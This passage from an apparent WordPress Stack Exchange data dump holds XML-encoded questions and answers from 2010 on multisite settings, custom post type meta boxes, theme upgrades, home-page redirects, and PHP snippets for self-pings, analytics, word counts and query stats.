  <row Id="1844" PostTypeId="1" AcceptedAnswerId="13518" CreationDate="2010-09-15T11:03:21.770" Score="7" ViewCount="150" Body="&lt;p&gt;does anyone know of a plugin for mass editing of settings on a multisite installation? Something like Plugin Commander for Settings? &lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-09-15T22:08:00.633" LastActivityDate="2011-03-30T17:34:38.110" Title="Plugin for editing options on multisite?" Tags="&lt;multisite&gt;&lt;plugins&gt;&lt;settings&gt;" AnswerCount="2" FavoriteCount="5" />
  <row Id="1845" PostTypeId="1" AcceptedAnswerId="1967" CreationDate="2010-09-15T12:34:31.707" Score="0" ViewCount="82" Body="&lt;p&gt;I typically schedule posts well in advance before they get published. At times I can have as many as 5-10 scheduled posts set to be published within the coming weeks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to show a calendar with all my scheduled posts? Ideally I would like to see them in Google Calendar. &lt;/p&gt;&#xA;" OwnerUserId="892" LastActivityDate="2010-09-19T11:38:46.847" Title="How can I show my scheduled posts in Google Calendar?" Tags="&lt;scheduled-posts&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="1846" PostTypeId="2" ParentId="1763" CreationDate="2010-09-15T13:08:10.317" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/simple-facebook-connect/&quot; rel=&quot;nofollow&quot;&gt;Simple Facebook Connect&lt;/a&gt; plugin offers plenty of functions that seem related to what you want, look over it for starters.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-15T13:08:10.317" />
  <row Id="1848" PostTypeId="2" ParentId="1829" CreationDate="2010-09-15T13:28:28.967" Score="1" ViewCount="" Body="&lt;p&gt;Thanks for the link, Rarst.  Tracy, simulating what is on the radio website is pretty simple via the code I posted.  You would only have to change the stylesheet from the dowload I provide.  You could even get away with using CSS3 on the side arrows and gradient as long as you don't care about IE 6.  I too could never find a WP plugin that I liked enough to fit the bill.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already configured this thing about 3 different ways, so feel free to get in touch with me via my contact page if you need some help.  Good luck!&lt;/p&gt;&#xA;" LastActivityDate="2010-09-15T13:28:28.967" />
  <row Id="1850" PostTypeId="1" AcceptedAnswerId="1851" CreationDate="2010-09-15T14:24:47.583" Score="0" ViewCount="72" Body="&lt;p&gt;I recently updated the main theme of a production site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the upgrade process deleted all our custom templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can prevent this happening again?&lt;/p&gt;&#xA;" OwnerUserId="562" LastActivityDate="2010-09-15T14:31:15.350" Title="Is there a way to upgrade a theme without losing custom templates?" Tags="&lt;themes&gt;&lt;template&gt;&lt;updates&gt;" AnswerCount="1" />
  <row Id="1851" PostTypeId="2" ParentId="1850" CreationDate="2010-09-15T14:31:15.350" Score="4" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Child_Themes&quot; rel=&quot;nofollow&quot;&gt;Child themes&lt;/a&gt; might be your best bet.&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2010-09-15T14:31:15.350" CommentCount="1" />
  <row Id="1852" PostTypeId="2" ParentId="1567" CreationDate="2010-09-15T14:36:31.290" Score="9" ViewCount="" Body="&lt;h2&gt;Remove pings to your own blog&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Wordpress 3.0.1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//remove pings to self&#xA;function no_self_ping( &amp;amp;$links ) {&#xA;    $home = get_option( 'home' );&#xA;    foreach ( $links as $l =&amp;gt; $link )&#xA;        if ( 0 === strpos( $link, $home ) )&#xA;            unset($links[$l]);&#xA;}&#xA;add_action( 'pre_ping', 'no_self_ping' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T14:38:02.337" LastActivityDate="2011-01-26T14:38:02.337" CommunityOwnedDate="2010-09-15T14:36:31.290" CommentCount="3" />
  <row Id="1853" PostTypeId="1" CreationDate="2010-09-15T14:36:47.913" Score="2" ViewCount="870" Body="&lt;p&gt;I have created a custom post type to display future events, with the event's date stored in a custom field (YYYY/MM/DD format). I'd like the admin screen for this custom post type to be automatically sorted by the event date custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having tried out MikeSchnickel's excellent &lt;a href=&quot;http://wordpress.stackexchange.com/questions/45/how-to-sort-the-admin-area-of-a-wordpress-custom-post-type-by-a-custom-field&quot;&gt;tutorial&lt;/a&gt; on creating a 'sort by' column, I think I've worked out that I need to use something similar to the parse_query filter he uses. But I can't seem to adapt it to my needs,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty new to customizing wordpress like this, so some simple guidance would be much appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code to register the custom type post (gs_events), add meta box for the  custom field (event_date), and set up custom columns for the admin screen....&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'my_custom_init');&#xA;&#xA;function my_custom_init() {&#xA;  $labels = array(&#xA;    'name' =&amp;gt; _x('Events', 'post type general name'),&#xA;    'singular_name' =&amp;gt; _x('Event', 'post type singular name'),&#xA;    'add_new' =&amp;gt; _x('Add New', 'event'),&#xA;    'add_new_item' =&amp;gt; __('Add New Event'),&#xA;    'edit_item' =&amp;gt; __('Edit Event'),&#xA;    'new_item' =&amp;gt; __('New Event'),&#xA;    'view_item' =&amp;gt; __('View Event'),&#xA;    'search_items' =&amp;gt; __('Search Events'),&#xA;    'not_found' =&amp;gt;  __('No events found'),&#xA;    'not_found_in_trash' =&amp;gt; __('No events found in Trash'), &#xA;    'parent_item_colon' =&amp;gt; ''&#xA;  );&#xA;  $args = array(&#xA;    'labels' =&amp;gt; $labels,&#xA;    'public' =&amp;gt; true,&#xA;    'publicly_queryable' =&amp;gt; true,&#xA;    'show_ui' =&amp;gt; true, &#xA;    'query_var' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; array('slug' =&amp;gt; 'events'),&#xA;    'capability_type' =&amp;gt; 'post',&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'menu_position' =&amp;gt; 5,&#xA;    'supports' =&amp;gt; array('title','editor','thumbnail','comments')&#xA;  ); &#xA;  register_post_type('gs_events',$args);&#xA;}&#xA;&#xA;register_taxonomy(&quot;Location&quot;, array(&quot;gs_events&quot;), array(&quot;hierarchical&quot; =&amp;gt; true, &quot;label&quot; =&amp;gt; &quot;Cities&quot;, &quot;singular_label&quot; =&amp;gt; &quot;City&quot;, &quot;rewrite&quot; =&amp;gt; true));&#xA;&#xA;add_action(&quot;admin_init&quot;, &quot;admin_init&quot;);&#xA;&#xA;function admin_init(){&#xA;  add_meta_box(&quot;event_date-meta&quot;, &quot;Event Date&quot;, &quot;event_date&quot;, &quot;gs_events&quot;, &quot;side&quot;, &quot;high&quot;);&#xA;}&#xA;&#xA;function event_date(){&#xA;  global $post;&#xA;  $custom = get_post_custom($post-&amp;gt;ID);&#xA;  $event_date = $custom[&quot;event_date&quot;][0];&#xA;  ?&amp;gt;&#xA;  &amp;lt;label&amp;gt;Date:&amp;lt;/label&amp;gt;&#xA;  &amp;lt;input name=&quot;event_date&quot; value=&quot;&amp;lt;?php echo $event_date; ?&amp;gt;&quot; /&amp;gt;&#xA;  &amp;lt;?php&#xA;}&#xA;&#xA;add_action('save_post', 'save_details');&#xA;&#xA;function save_details(){&#xA;  global $post;&#xA;  update_post_meta($post-&amp;gt;ID, &quot;event_date&quot;, $_POST[&quot;event_date&quot;]);&#xA;}&#xA;&#xA;add_action(&quot;manage_posts_custom_column&quot;,  &quot;events_custom_columns&quot;);&#xA;add_filter(&quot;manage_edit-gs_events_columns&quot;, &quot;events_edit_columns&quot;);&#xA;&#xA;function events_edit_columns($columns){&#xA;  $columns = array(&#xA;    &quot;cb&quot; =&amp;gt; &quot;&amp;lt;input type=\&quot;checkbox\&quot; /&amp;gt;&quot;,&#xA;    &quot;title&quot; =&amp;gt; &quot;Venue&quot;,&#xA;    &quot;location&quot; =&amp;gt; &quot;Location&quot;,&#xA;    &quot;event_date&quot; =&amp;gt; &quot;Date&quot;,&#xA;  );&#xA;&#xA;  return $columns;&#xA;}&#xA;function events_custom_columns($column){&#xA;  global $post;&#xA;&#xA;  switch ($column) {&#xA;    case &quot;event_date&quot;:&#xA;      $custom = get_post_custom();&#xA;      echo $custom[&quot;event_date&quot;][0];&#xA;      break;&#xA;    case &quot;location&quot;:&#xA;      echo get_the_term_list($post-&amp;gt;ID, 'Location', '', ', ','');&#xA;      break;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I reckon I need to add some modification of this code from Mike Schnickels's aforementioned tutorial, but I'm not sure how to implement it in this case...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'parse_query', 'sort_movie_by_meta_value' );&#xA;function sort_movie_by_meta_value($query) {&#xA;    global $pagenow;&#xA;    if (is_admin() &amp;amp;&amp;amp; $pagenow=='edit.php' &amp;amp;&amp;amp;&#xA;            isset($_GET['post_type']) &amp;amp;&amp;amp; isset($_GET['post_type'])=='movie' &amp;amp;&amp;amp; &#xA;            isset($_GET['sortby'])  &amp;amp;&amp;amp; $_GET['sortby'] !='None')  {&#xA;        $query-&amp;gt;query_vars['orderby'] = 'meta_value';&#xA;        $query-&amp;gt;query_vars['meta_key'] = $_GET['sortby'];&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="895" LastEditorUserId="895" LastEditorDisplayName="" LastEditDate="2010-09-15T15:51:30.270" LastActivityDate="2010-09-22T13:54:01.867" Title="Automatically sorting custom post type admin area by a custom field" Tags="&lt;custom-post-types&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="1854" PostTypeId="1" AcceptedAnswerId="1855" CreationDate="2010-09-15T15:15:53.380" Score="0" ViewCount="416" Body="&lt;p&gt;My theme has code that places a custom meta box on the Page editor interface for toggling noindex and/or nofollow attributes to the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its a simple little deal with two checkboxes, one says noindex, the other says nofollow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These work flawlessly in all versions of WP prior to 3.0.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found that in 3.0.1, the values of the checkboxes are not saved. No matter what I do, they always come up unchecked, and the values are not being passed to the database either (its not just reporting unchecked in the interface, it never sends the values to the db)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm at a loss at what's different and how to get my code to work with 3.0.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of what might have changed to make these checkbox values not pass when the page is Updated in WP 3.0.1?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// ===================&#xA;// = POST OPTION BOX =&#xA;// ===================&#xA;&#xA;add_action('admin_menu', 'my_post_options_box');&#xA;&#xA;function my_post_options_box() {&#xA;    if ( function_exists('add_meta_box') ) { &#xA;        add_meta_box('categorydiv', __('Page Index Options'), 'post_categories_meta_box_modified', 'page', 'side', 'high');&#xA;    }&#xA;}&#xA;&#xA;//adds the custom categories box&#xA;function post_categories_meta_box_modified($post) {&#xA;global $post, $noindexCat, $nofollowCat;&#xA;    $noindexCat = get_cat_ID('noindex');&#xA;    $nofollowCat = get_cat_ID('nofollow');&#xA;    if(in_category(&quot;noindex&quot;)){ $noindexChecked = &quot; checked='checked'&quot;;} &#xA;    if(in_category(&quot;nofollow&quot;)){ $nofollowChecked = &quot; checked='checked'&quot;;}&#xA;?&amp;gt;&#xA;&amp;lt;div id=&quot;categories-all&quot; class=&quot;ui-tabs-panel&quot;&amp;gt;&#xA;    &amp;lt;ul id=&quot;categorychecklist&quot; class=&quot;list:category categorychecklist form-no-clear&quot;&amp;gt;&#xA;        &amp;lt;li id='category-&amp;lt;?php echo $noindexCat ?&amp;gt;' class=&quot;popular-category&quot;&amp;gt;&amp;lt;label class=&quot;selectit&quot;&amp;gt;&amp;lt;input value=&quot;&amp;lt;?php echo $noindexCat ?&amp;gt;&quot; type=&quot;checkbox&quot; name=&quot;post_category[]&quot; id=&quot;in-category-&amp;lt;?php echo $noindexCat ?&amp;gt;&quot;&amp;lt;?php echo $noindexChecked ?&amp;gt; /&amp;gt; noindex&amp;lt;/label&amp;gt;&amp;lt;/li&amp;gt; &#xA;        &amp;lt;li id='category-&amp;lt;?php echo $nofollowCat ?&amp;gt;' class=&quot;popular-category&quot;&amp;gt;&amp;lt;label class=&quot;selectit&quot;&amp;gt;&amp;lt;input value=&quot;&amp;lt;?php echo $nofollowCat ?&amp;gt;&quot; type=&quot;checkbox&quot; name=&quot;post_category[]&quot; id=&quot;in-category-&amp;lt;?php echo $nofollowCat ?&amp;gt;&quot;&amp;lt;?php echo $nofollowChecked ?&amp;gt; /&amp;gt; nofollow&amp;lt;/label&amp;gt;&amp;lt;/li&amp;gt; &#xA;        &amp;lt;li id='category-1' class=&quot;popular-category&quot; style=&quot;display:none;&quot;&amp;gt;&amp;lt;label class=&quot;selectit&quot;&amp;gt;&amp;lt;input value=&quot;1&quot; type=&quot;checkbox&quot; name=&quot;post_category[]&quot; id=&quot;in-category-1&quot; checked=&quot;checked&quot;/&amp;gt; Uncategorized&amp;lt;/label&amp;gt;&amp;lt;/li&amp;gt; &#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-10-01T17:48:36.783" Title="WordPress 3 botches my Custom Meta Box values on Save" Tags="&lt;theme-development&gt;" AnswerCount="2" />
  <row Id="1855" PostTypeId="2" ParentId="1854" CreationDate="2010-09-15T15:37:49.250" Score="3" ViewCount="" Body="&lt;p&gt;First of all, this isn't using custom post meta ... you're trying to retrieve categories and use the presence of those categories to check the boxes.  I also don't see any script to save the values once you've clicked them ...  When this &lt;em&gt;did&lt;/em&gt; work, I assume it was a very hackish solution, so I'm not surprised that it's unstable and has broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you &lt;em&gt;can&lt;/em&gt; actually use custom post meta to do what it is you want to do.  Use the following script instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// ===================&#xA;// = POST OPTION BOX =&#xA;// ===================&#xA;&#xA;add_action('admin_menu', 'my_post_options_box');&#xA;&#xA;function my_post_options_box() {&#xA;    if ( function_exists('add_meta_box') ) { &#xA;        add_meta_box('categorydiv', __('Page Index Options'), 'post_categories_meta_box_modified', 'page', 'side', 'high');&#xA;    }&#xA;}&#xA;&#xA;//adds the custom categories box&#xA;function post_categories_meta_box_modified() {&#xA;    global $post;&#xA;    if( get_post_meta($post-&amp;gt;ID, '_noIndex', true) ) $noindexChecked = &quot; checked='checked'&quot;;&#xA;    if( get_post_meta($post-&amp;gt;ID, '_noFollow', true) ) $nofollowChecked = &quot; checked='checked'&quot;;&#xA;?&amp;gt;&#xA;&amp;lt;div id=&quot;categories-all&quot; class=&quot;ui-tabs-panel&quot;&amp;gt;&#xA;    &amp;lt;ul id=&quot;categorychecklist&quot; class=&quot;list:category categorychecklist form-no-clear&quot;&amp;gt;&#xA;        &amp;lt;li id='noIndex' class=&quot;popular-category&quot;&amp;gt;&amp;lt;label class=&quot;selectit&quot;&amp;gt;&amp;lt;input value=&quot;noIndex&quot; type=&quot;checkbox&quot; name=&quot;chk_noIndex&quot; id=&quot;chk_noIndex&quot;&amp;lt;?php echo $noindexChecked ?&amp;gt; /&amp;gt; noindex&amp;lt;/label&amp;gt;&amp;lt;/li&amp;gt; &#xA;        &amp;lt;li id='noFollow' class=&quot;popular-category&quot;&amp;gt;&amp;lt;label class=&quot;selectit&quot;&amp;gt;&amp;lt;input value=&quot;noFollow&quot; type=&quot;checkbox&quot; name=&quot;chk_noFollow&quot; id=&quot;chk_noFollow&quot;&amp;lt;?php echo $nofollowChecked ?&amp;gt; /&amp;gt; nofollow&amp;lt;/label&amp;gt;&amp;lt;/li&amp;gt;  &#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&#xA;function save_post_categories_meta($post_id) {&#xA;    if ( defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE ) return $post_id;&#xA;&#xA;    $noIndex = $_POST['chk_noIndex'];&#xA;    $noFollow = $_POST['chk_noFollow'];&#xA;&#xA;    update_post_meta( $post_id, '_noIndex', $noIndex );&#xA;    update_post_meta( $post_id, '_noFollow', $noFollow );&#xA;&#xA;    return $post_id;&#xA;}&#xA;&#xA;add_action('save_post', 'save_post_categories_meta');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will store Boolean flags in the custom post meta fields &quot;noIndex&quot; and &quot;noFollow&quot;, retrieve the values of those fields to use in your custom meta box, and allow you to easily access them elsewhere in your site.  Just use &lt;code&gt;get_post_meta( $post-&amp;gt;ID, 'meta-name', true )&lt;/code&gt; to retrieve them.&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-09-15T16:34:38.150" LastActivityDate="2010-09-15T16:34:38.150" CommentCount="10" />
  <row Id="1856" PostTypeId="2" ParentId="1567" CreationDate="2010-09-15T15:48:47.877" Score="3" ViewCount="" Body="&lt;h2&gt;Auto Include Google Analytics Code&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Wordpress 3.1 RC3&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been using this script on all of my sites since WordPress 2.3.0 ... it just adds the standard Google tracking scripts to the footer.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add Google Analytics Tracking Code&#xA;function add_google_analytics() {&#xA;?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    var gaJsHost = ((&quot;https:&quot; == document.location.protocol) ? &quot;https://ssl.&quot; : &quot;http://www.&quot;);&#xA;    document.write(unescape(&quot;%3Cscript src='&quot; + gaJsHost + &quot;google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E&quot;));&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    try {&#xA;        var pageTracker = _gat._getTracker(&quot;UA-XXXXXXX-X&quot;);&#xA;        pageTracker._trackPageview();&#xA;    } catch(err) {}&amp;lt;/script&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&#xA;add_action('wp_footer', 'add_google_analytics');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just be sure to replace &lt;code&gt;UA-XXXXXXX-X&lt;/code&gt; with your own Google tracking code...&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-01-26T15:05:26.333" LastActivityDate="2011-01-26T15:05:26.333" CommunityOwnedDate="2010-09-15T15:48:47.877" CommentCount="2" />
  <row Id="1857" PostTypeId="2" ParentId="1567" CreationDate="2010-09-15T15:51:15.310" Score="17" ViewCount="" Body="&lt;h2&gt;Remove &quot;Wordpress&quot; to &quot;WordPress&quot; filter&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Wordpress 3.0.1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was a filter added with WordPress version 3.0 that automatically converts all instances of &quot;Wordpress&quot; (no capital P) to &quot;WordPress&quot; (with a capital P) in post content, post titles, and comment text.  Some people see this as intrusive, I just have a need to mis-case WordPress from time to time and found the filter somewhat annoying.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Remove annoying P filter&#xA;if(function_exists('capital_P_dangit')) {&#xA;    foreach ( array( 'the_content', 'the_title' ) as $filter ) &#xA;        remove_filter( $filter, 'capital_P_dangit', 11 ); &#xA;&#xA;    remove_filter('comment_text', 'capital_P_dangit', 31 );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="46" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-25T23:15:26.170" LastActivityDate="2011-02-25T23:15:26.170" CommunityOwnedDate="2010-09-15T15:51:15.310" CommentCount="2" />
  <row Id="1858" PostTypeId="2" ParentId="1567" CreationDate="2010-09-15T15:58:01.930" Score="3" ViewCount="" Body="&lt;h2&gt;Post Word Count&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Wordpress 3.0.1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Originally extracted from the &lt;a href=&quot;http://wordpress.org/extend/plugins/post-word-count/&quot; rel=&quot;nofollow&quot;&gt;Post Word Count plug-in&lt;/a&gt; by &lt;a href=&quot;http://mtdewvirus.com/&quot; rel=&quot;nofollow&quot;&gt;Nick Momrick&lt;/a&gt;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adds a count of total published words to the bottom of the &quot;Right Now&quot; box on the admin dashboard.  Useful if you're using your blog as an outlet for something like &lt;a href=&quot;http://www.nanowrimo.org/&quot; rel=&quot;nofollow&quot;&gt;NaNoWriMo&lt;/a&gt; or if you just want to keep track of how prolific your blogging skills have become.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function post_word_count() {&#xA;    $count = 0;&#xA;    $posts = get_posts( array(&#xA;        'numberposts' =&amp;gt; -1,&#xA;        'post_type' =&amp;gt; array( 'post', 'page' )&#xA;    ));&#xA;    foreach( $posts as $post ) {&#xA;        $count += str_word_count( strip_tags( get_post_field( 'post_content', $post-&amp;gt;ID )));&#xA;    }&#xA;    $num =  number_format_i18n( $count );&#xA;    // This block will add your word count to the stats portion of the Right Now box&#xA;    $text = _n( 'Word', 'Words', $num );&#xA;    echo &quot;&amp;lt;tr&amp;gt;&amp;lt;td class='first b'&amp;gt;{$num}&amp;lt;/td&amp;gt;&amp;lt;td class='t'&amp;gt;{$text}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&quot;;&#xA;    // This line will add your word count to the bottom of the Right Now box.&#xA;    echo '&amp;lt;p&amp;gt;This blog contains a total of &amp;lt;strong&amp;gt;' . $num . '&amp;lt;/strong&amp;gt; published words!&amp;lt;/p&amp;gt;';&#xA;}&#xA;&#xA;// add to Content Stats table&#xA;add_action( 'right_now_content_table_end', 'post_word_count');&#xA;// add to bottom of Activity Box&#xA;add_action('activity_box_end', 'post_word_count');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Kudos to &lt;a href=&quot;http://wordpress.stackexchange.com/users/847/rarst&quot;&gt;Rarst&lt;/a&gt; for the query-free cleanup of the code!&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T14:32:36.620" LastActivityDate="2011-01-26T14:32:36.620" CommunityOwnedDate="2010-09-15T15:58:01.930" CommentCount="3" />
  <row Id="1859" PostTypeId="1" AcceptedAnswerId="1860" CreationDate="2010-09-15T16:18:54.763" Score="1" ViewCount="99" Body="&lt;p&gt;I've created a custom meta box to handle certain custom post meta fields and I don't want the clutter of having these custom fields duplicated down in the &quot;Custom Fields&quot; area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I remove specific custom post meta from the &quot;Custom Fields&quot; fieldset?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-09-15T16:32:00.503" Title="How can I remove specific custom post meta from the &quot;Custom Fields&quot; fieldset?" Tags="&lt;theme-development&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="1860" PostTypeId="2" ParentId="1859" CreationDate="2010-09-15T16:32:00.503" Score="0" ViewCount="" Body="&lt;p&gt;To hide a custom field from the &quot;Custom Fields&quot; section, prefix it with an underscore.  So &lt;code&gt;add_post_meta($id, 'name', 'value');&lt;/code&gt; becomes &lt;code&gt;add_post_meta($id, '_name', 'value');&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a good reference for backup:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.johnkolbert.com/wordpress/how-to-hide-your-plugins-custom-fields/&quot; rel=&quot;nofollow&quot;&gt;How to Hide Your Plugin's Custom Fields&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-15T16:32:00.503" />
  <row Id="1861" PostTypeId="2" ParentId="29" CreationDate="2010-09-15T17:19:33.550" Score="4" ViewCount="" Body="&lt;h2&gt;Theme Hybrid&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://themehybrid.com/themes&quot; rel=&quot;nofollow&quot;&gt;http://themehybrid.com/themes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Free child themes for Hybrid parent theme.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-15T17:19:33.550" CommunityOwnedDate="2010-09-15T17:19:33.550" />
  <row Id="1862" PostTypeId="1" AcceptedAnswerId="1865" CreationDate="2010-09-15T17:24:24.417" Score="0" ViewCount="217" Body="&lt;p&gt;I want to use a category page as the home page of my blog. Is that possible and how can I do it? It tried it with a .htacces rewrite rule but that didn't worked.&lt;/p&gt;&#xA;" OwnerUserId="462" LastActivityDate="2010-09-15T18:18:50.670" Title="How to make a category page the blog home page?" Tags="&lt;url-rewriting&gt;&lt;homepage&gt;" AnswerCount="2" />
  <row Id="1863" PostTypeId="2" ParentId="29" CreationDate="2010-09-15T17:26:53.083" Score="0" ViewCount="" Body="&lt;h2&gt;BlogOhBLog!&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blogohblog.com/category/wordpress-themes/&quot; rel=&quot;nofollow&quot;&gt;http://www.blogohblog.com/category/wordpress-themes/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Free themes (as well as premium). Don't know about current but older one were under CC license (for those who care).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-15T17:26:53.083" CommunityOwnedDate="2010-09-15T17:26:53.083" />
  <row Id="1864" PostTypeId="2" ParentId="29" CreationDate="2010-09-15T17:28:20.660" Score="0" ViewCount="" Body="&lt;h2&gt;Performancing Themes&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://performancing.com/wordpress-themes/&quot; rel=&quot;nofollow&quot;&gt;http://performancing.com/wordpress-themes/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somewhat oldish, but clean and nice free themes.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-15T17:28:20.660" CommunityOwnedDate="2010-09-15T17:28:20.660" />
  <row Id="1865" PostTypeId="2" ParentId="1862" CreationDate="2010-09-15T17:38:12.140" Score="1" ViewCount="" Body="&lt;p&gt;Category page can't be home page (just doesn't work like that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two other options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Limit home page to posts from specific category (close but not the same thing).&lt;/li&gt;&#xA;&lt;li&gt;Redirect home page to actual category page.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Since you seem fine with redirect try following. Create &lt;code&gt;home.php&lt;/code&gt; template in your theme directory with following content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;wp_redirect( 'http://www.yoursite.com/category/category-slug' );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is probably some more tidy way to do this with hooks, but nothing I can think of right now.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-15T17:38:12.140" CommentCount="2" />
  <row Id="1866" PostTypeId="2" ParentId="1567" CreationDate="2010-09-15T17:43:57.633" Score="9" ViewCount="" Body="&lt;h2&gt;Display DB Queries, Time Spent and Memory Consumption&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Wordpress 3.0.1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function performance( $visible = false ) {&#xA;&#xA;    $stat = sprintf(  '%d queries in %.3f seconds, using %.2fMB memory',&#xA;        get_num_queries(),&#xA;        timer_stop( 0, 3 ),&#xA;        memory_get_peak_usage() / 1024 / 1024&#xA;        );&#xA;&#xA;    echo $visible ? $stat : &quot;&amp;lt;!-- {$stat} --&amp;gt;&quot; ;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then this code below the code above which will automatically insert the code above into the footer of your public website (make sure your theme is calling 